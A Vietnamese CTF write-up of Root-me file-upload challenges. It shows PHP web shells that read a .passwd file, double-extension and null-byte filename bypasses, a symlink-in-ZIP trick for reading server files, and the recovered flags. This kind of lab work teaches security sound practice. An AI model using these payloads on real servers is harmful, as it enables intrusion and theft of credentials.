**Write-up Root-me Challenges - File Upload**
# File upload - Double extensions
http://challenge01.root-me.org/web-serveur/ch20/
Vì file upload chỉ chấp nhận các phần mở rộng .gif, .jpeg, .png nên không thể upload file `shell.php`
```
<?php
echo phpinfo();
?>
```

Tìm trong File Upload Cheat Sheet có thể thấy được các phần mở rộng kép, ví dụ .jpg.php : vị trí nó dễ dàng phá vỡ file signature \.jpg
Vì challenge có tên là File upload - Double extensions, nên thử thêm phần mở rộng sau tên file thành `shell.php.png`


File upload thành công.
Theo yêu cầu của đề bài cần truy xuất mật khẩu xác thực trong tệp .passwd ở thư mục gốc của ứng dụng.
Tìm trong Web shells 101 using PHP, có thể thấy được lệnh `exec()`: thực thi lệnh thông qua shell và trả về kết quả đầu ra hoàn chỉnh dưới dạng chuỗi.
```
<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>
```
Upload file `shell2.php.png`
```
<?php
echo exec("cat ../../../.passwd");
?>
```
Lệnh `cat` có thể đọc, nối và ghi nội dung tệp vào đầu ra tiêu chuẩn. `cat` được sử dụng phổ biến nhất để hiển thị nội dung của một hoặc nhiều tệp văn bản.

Flag: Gg9LRz-hWSxqqUKd77-_q-6G8
# File upload - MIME type
http://challenge01.root-me.org/web-serveur/ch21/
Bài này khá giống bài Double extensions.
Upload file `shell.php`
```
<?php
echo exec("cat ../../../.passwd");
?>
```

Flag: a7n4nizpgQgnPERy89uanf6T4
# File upload - Null byte
http://challenge01.root-me.org/web-serveur/ch22/
Thử upload file `shell.php` thì không thể upload được do sai phần mở rộng.
```
<?php
echo("1");
?>
```

Sửa tên file thành `shell.php.png` vẫn nhận được kết quả tương tự.
Tìm trong File Upload Cheat Sheet có thể thấy được Null bytes, ví dụ .php%00.jpg : vị trí .jpg bị cắt bớt và .php trở thành phần mở rộng mới.
Challenge có tên là Null byte nên thử sửa tên file thành `shell.php%00.png`

Flag: YPNchi2NmTwygr2dgCCF
# File upload - ZIP
http://challenge01.root-me.org/web-serveur/ch51/
Tạo file shell.php rồi nén thành file shell.zip
```
<?php
phpinfo();
?>
```
Upload file thành công, tuy nhiên khi mở file thì hiện lỗi 403 Forbidden.

Thử tìm trên https://book.hacktricks.xyz/pentesting-web/file-upload có thể thấy được cách giải quyết challenge đó là sử dụng symlink.
Symlink: Tải lên một link chứa các soft link đến các tệp khác, sau đó truy cập vào các tệp được giải nén thì chúng ta sẽ truy cập các tệp được liên kết.
Tạo symlink bằng WSL:
Tạo symlink đến ../../../index.php:
`ln -s ../../../index.php symindex.txt`
Nén symlink vừa tạo:
`zip --symlinks test.zip symindex.txt`
Upload file test.zip, kết quả nhận được:


Flag: N3v3r_7rU5T_u5Er_1npU7
# File upload - Polyglot
http://challenge01.root-me.org:59072/